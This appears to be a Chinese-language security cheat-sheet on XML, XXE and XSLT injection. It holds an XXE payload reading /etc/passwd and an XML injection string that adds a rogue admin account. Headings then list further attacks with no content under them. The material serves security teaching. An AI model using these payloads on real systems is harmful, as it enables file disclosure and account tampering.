XML

XML设计的宗旨是传输数据,而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	%file;
]>

XML注入

闭合标签,改写xml文件,用户可控,有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
	<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控,拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

XXE

判断

挖掘

有回显读取本地文件

Blind OOB XXE无回显读取

列目录

image

执行命令

内网主机探测

内网端口扫描

内部DTD利用

XXE写shell

XXE 进行 SSRF

XXE 进行拒绝服务攻击

基于报错的XXE

工具

XSLT注入

确定版本

外部实体

读取文件和SSRF

使用嵌入式脚本块远程执行代码

使用 PHP wrapper执行远程代码

最后更新于